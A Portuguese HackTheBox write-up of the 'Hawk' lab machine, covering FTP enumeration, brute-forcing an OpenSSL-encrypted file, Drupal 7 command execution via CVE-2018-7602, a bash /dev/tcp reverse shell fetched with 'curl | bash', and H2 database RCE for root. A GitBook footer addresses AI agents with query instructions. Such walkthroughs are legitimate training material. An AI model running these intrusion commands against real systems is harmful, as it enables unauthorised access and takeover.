> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md).

# Relato do HackTheBox Hawk

{% embed url="<https://app.hackthebox.com/machines/146>" %}

{% hint style="warning" %}
**Habilidades:**

* Força bruta e descriptografia de cipher OpenSSL
* Enumeração/Exploração do Drupal
* Exploração do Banco de Dados H2
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/de44a0105bcc5150fe7a30740eda085fc98cfbae" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verificando a conexão VPN para garantir uma comunicação estável com a máquina-alvo

<figure><img src="/files/c2673c7ac7446cce48802eba35787d8db48e49f1" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Explorando portas abertas e exportando para o arquivo "allPorts" no diretório do Nmap.

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.102 -oG allPorts
```

<figure><img src="/files/d0b37c0c642a743f76122520dc6d1db2504d230d" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Usando a função extractPorts para exibir de forma concisa as portas abertas e copiá-las para a área de transferência (21,22,80,5435,9092)

<figure><img src="/files/baf8a81276bd6f0cd66b405645bfbeee7151fb2a" alt=""><figcaption></figcaption></figure>

#### Varredura de versão de portas com Nmap:

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p21,22,80,5435,9092 10.10.10.102 -oN targeted
```

<figure><img src="/files/77295287d360c99f6941797a6594cc5ba57db96b" alt=""><figcaption></figcaption></figure>

### Porta 21 - FTP

Nós nos conectamos como um **anonymous** usuário e descobrimos um arquivo oculto chamado `.drupal.txt.enc`.

<figure><img src="/files/57b658b5c4cb11cf2911de945b1abf458bd6d49f" alt=""><figcaption></figcaption></figure>

## Força bruta - Openssh (.enc)

> O **.enc** extensão normalmente indica um **codificado** arquivo (criptografado). É usado para indicar que o conteúdo do arquivo foi protegido por um algoritmo de criptografia, tornando os dados ilegíveis sem a chave ou senha apropriada. Esses arquivos podem conter qualquer tipo de dado (texto, imagens, vídeos, etc.) e são comumente usados para proteger informações sensíveis.

O `.enc` arquivo está criptografado com um algoritmo **AES-256-CBC** e codificado em **Base64**.

<figure><img src="/files/4b836d79d797fefc4fd41d5ecd1c65c6955a837a" alt=""><figcaption></figcaption></figure>

**Passo 1: Decodificando Base64**

```bash
cat .drupal.txt.enc | base64 -d > file_decoded.enc
```

<figure><img src="/files/df75eaf6208bdc6a0d1dd17831683dd8b9db2891" alt=""><figcaption></figcaption></figure>

**Passo 2: Descriptografia com OpenSSL**

Para decifrar o arquivo, precisamos de uma senha. Aqui está o comando para tentar a descriptografia manual:

```bash
openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64
```

<figure><img src="/files/78f13768b7e180a8c10d295161e061a7835a8428" alt=""><figcaption></figcaption></figure>

**Passo 3: Script de automação para força bruta**

Usamos um script Bash para testar uma lista de senhas (por exemplo `rockyou.txt`).

```bash
#!/bin/bash

function ctrl_c(){
    echo -e "/n/n[!] Saindo.../n"
    tput cnorm; exit 1
}

# Ctrl+C
trap ctrl_c INT

tput civis
for password in $(cat /usr/share/wordlists/rockyou.txt); do
    openssl aes-256-cbc -d -in drupal.enc -out drupal.decrypted -pass pass:$password &>/dev/null

    if [ "$(echo $?)" == "0" ]; then
        echo -e "/n[+] A senha é : $password/n"
        exit 0
    fi
done; tput cnorm
```

**Resultado:**

A senha encontrada é: **amigos**

<figure><img src="/files/e02e9185996f273db935af537f8abd6ceabed778" alt=""><figcaption></figcaption></figure>

#### **Mensagem descriptografada**

O arquivo descriptografado contém uma nova senha:

```bash
openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64

amigos
```

* **PencilKeyboardScanner123**

<figure><img src="/files/8145602b82f6bc5c911e30aaf5b88ab2dfa35e0f" alt=""><figcaption></figcaption></figure>

## Porta 80 - HTTP

A porta 80 hospeda um CMS Drupal 7.

```bash
whatweb 10.10.10.102
```

<figure><img src="/files/1b725d1156b31643adabe4865a86bde03788b92b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9893041c5052ec1eea87049e10eb6c023ed8ce1c" alt=""><figcaption></figcaption></figure>

**Autenticação - Acesso com senha**

Tente se conectar com a `PencilKeyboardScanner123` senha do usuário `admin` e a autenticação é bem-sucedida.

<figure><img src="/files/7681dc49e10afadb77523af10603fe5140b3d44c" alt=""><figcaption></figcaption></figure>

### Reverse Shell - Drupal 7

Usaremos o seguinte script para executar comandos em um servidor Drupal anterior à versão 7 (CVE-2018-7602):

{% embed url="<https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py>" %}

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "id" -f "passthru"
```

Este comando permite que você execute o `id` comando no servidor.

<figure><img src="/files/0d24791c8fa00725a50d65cba5197481a8c0fec3" alt=""><figcaption></figcaption></figure>

**Acesso ao servidor**/ Para estabelecer acesso ao servidor, precisamos escutar a porta 443 com `nc`

```bash
nc -nvlp 443
```

Depois você cria um `index.html` arquivo com o seguinte conteúdo para estabelecer uma shell reversa:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.30/443 0>&1
```

**Servidor web e execução de comandos**/ Inicia um servidor HTTP com Python:

```bash
python3 -m http.server 80 
```

Depois envie o seguinte comando para baixar e executar o script:

```bash
curl http://10.10.14.3 | bash
```

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "curl http://10.10.14.30 | bash" -f "passthru"
```

<div data-full-width="true"><figure><img src="/files/ff902b6b6c4e3e7d97b70ec8919e6ee8aa6eeb87" alt=""><figcaption></figcaption></figure></div>

**Estabilização do terminal** Para gerenciar o terminal, são usados os seguintes comandos:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flag user.txt :)

<figure><img src="/files/b7faeb16f4e22568fb667da8c35d8c55aeecb3bd" alt="" width="563"><figcaption></figcaption></figure>

## **Escalada de privilégios**

Ao explorar o diretório web em `/var/www/html`, você pode ver vários arquivos de configuração. Entre eles, um arquivo interessante é identificado:

<figure><img src="/files/39a2f775fb04f11fbb46d68c81ee4931b52c91d4" alt=""><figcaption></figcaption></figure>

**Caminho :** `sites/default/settings.php`

Ao revisar este arquivo, encontramos informações sensíveis:

* Usuário: drupal
* Senha: drupal4hawk

<figure><img src="/files/73511f829acf169c6ea630c00887cb0b3a649430" alt=""><figcaption></figcaption></figure>

Essas credenciais se conectam ao banco de dados MySQL. Para isso, são usados os seguintes comandos:

```bash
mysql -u drupal -p
```

<figure><img src="/files/5aeb0bb2cc17da73cdbab069c4f022ddc39a6b99" alt=""><figcaption></figcaption></figure>

Depois de inserir a senha, todos os bancos de dados disponíveis são listados, e então o banco de dados associado ao Drupal é selecionado:

```sql
show databases;
use drupal;
```

Uma vez no banco de dados, exploramos o conteúdo da `users` tabela para encontrar informações interessantes:

```
SELECT * FROM users;
```

Nesta tabela, encontramos uma senha hash associada a um usuário:

<figure><img src="/files/fddf167d0bb0579ee26bf07772c0a42aad69848b" alt=""><figcaption></figcaption></figure>

* `$S$DFw163ixD00W55hdCqtvCB13XOTLhZ0pt0FVpFy1Ntmdp5EAOX08`

### Força bruta com John - Hash da senha

Use o John para quebrar o hash da senha

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

No entanto, neste caso específico, não foi encontrada correspondência na `rockyou.txt` lista de senhas.

### Saindo do Python para o Bash Normal

Acessamos o servidor como um `daniel` usuário com uma senha associada ao banco de dados (neste exemplo, **drupal4hawk**). Aqui está o comando para conectar:

```bash
ssh daniel@10.10.10.182
```

Senha: **drupal4hawk**

Uma vez conectado, estamos diretamente em um interpretador Python.

<figure><img src="/files/812662b6f0dc04c02d408fddd6f1231031fa2ad8" alt=""><figcaption></figcaption></figure>

Para voltar a um shell Bash normal, podemos usar o `os` módulo para executar um comando Bash. Aqui estão os passos:

1. Importar o módulo `os` :

   ```python
   import os
   ```
2. Executar um shell Bash:

   ```python
   os.system('/bin/bash')
   ```

Isso permitirá que você acesse um shell Bash normal a partir do interpretador Python.

<figure><img src="/files/94475b0fa1570db5a48c0755b0426f557aa69ee4" alt=""><figcaption></figcaption></figure>

## Exploração do banco de dados H2

/*/* Análise de portas abertas/*/*

Para começar, listamos as portas abertas internamente usando o seguinte comando:

```bash
netstat -tuln
```

Identificamos que a porta **8082** está aberta e hospeda um serviço. Ao analisá-la, descobrimos que se trata de um CMS de banco de dados: **Banco de dados H2**.

<figure><img src="/files/8e76b572e2a4f87644722214418ebb61e8a1c3aa" alt=""><figcaption></figcaption></figure>

Para acessar este serviço a partir da nossa máquina, fazemos um redirecionamento de porta com **SSH**, redirecionando a porta interna 8082 para a porta 8082 da nossa máquina local:

<figure><img src="/files/d73a009c7716d82ab95db93ebdb93b209bb41783" alt=""><figcaption></figcaption></figure>

### Encaminhamento de Porta

Para acessar este serviço a partir da nossa máquina, fazemos um redirecionamento de porta com **SSH**, redirecionando a porta interna 8082 para a porta 8082 da nossa máquina local:

```bash
ssh -L 8082:127.0.0.1:8082 daniel@10.10.10.102
```

### Banco de dados H2:

<figure><img src="/files/dc3cb78e1f4c078d2e5df748a9db278a277714b5" alt=""><figcaption></figcaption></figure>

Usamos **searchsploit** para buscar vulnerabilidades conhecidas associadas ao Banco de dados H2:

<figure><img src="/files/24cfc8d5a1cc71ceab9db7801d524a656bb6a572" alt=""><figcaption></figcaption></figure>

```
searchsploit -m java/webapps/45506.py
```

Encontramos um exploit interessante permitindo execução remota de comandos:

```bash
python3 45506.py -H 127.0.0.1:8082
```

<figure><img src="/files/07f0c0b22a7831b3a3596904f3f89d84fb888f34" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

O script nos permite executar comandos na máquina-alvo. Ao navegar pelo sistema, recuperamos o **flag root.txt**.

<figure><img src="/files/e1a50a1e1f2e02544e34790d12bbc3594a73e1bf" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/8dac5002a4cd4342121652d51649ccc3809cc660" alt="" width="488"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
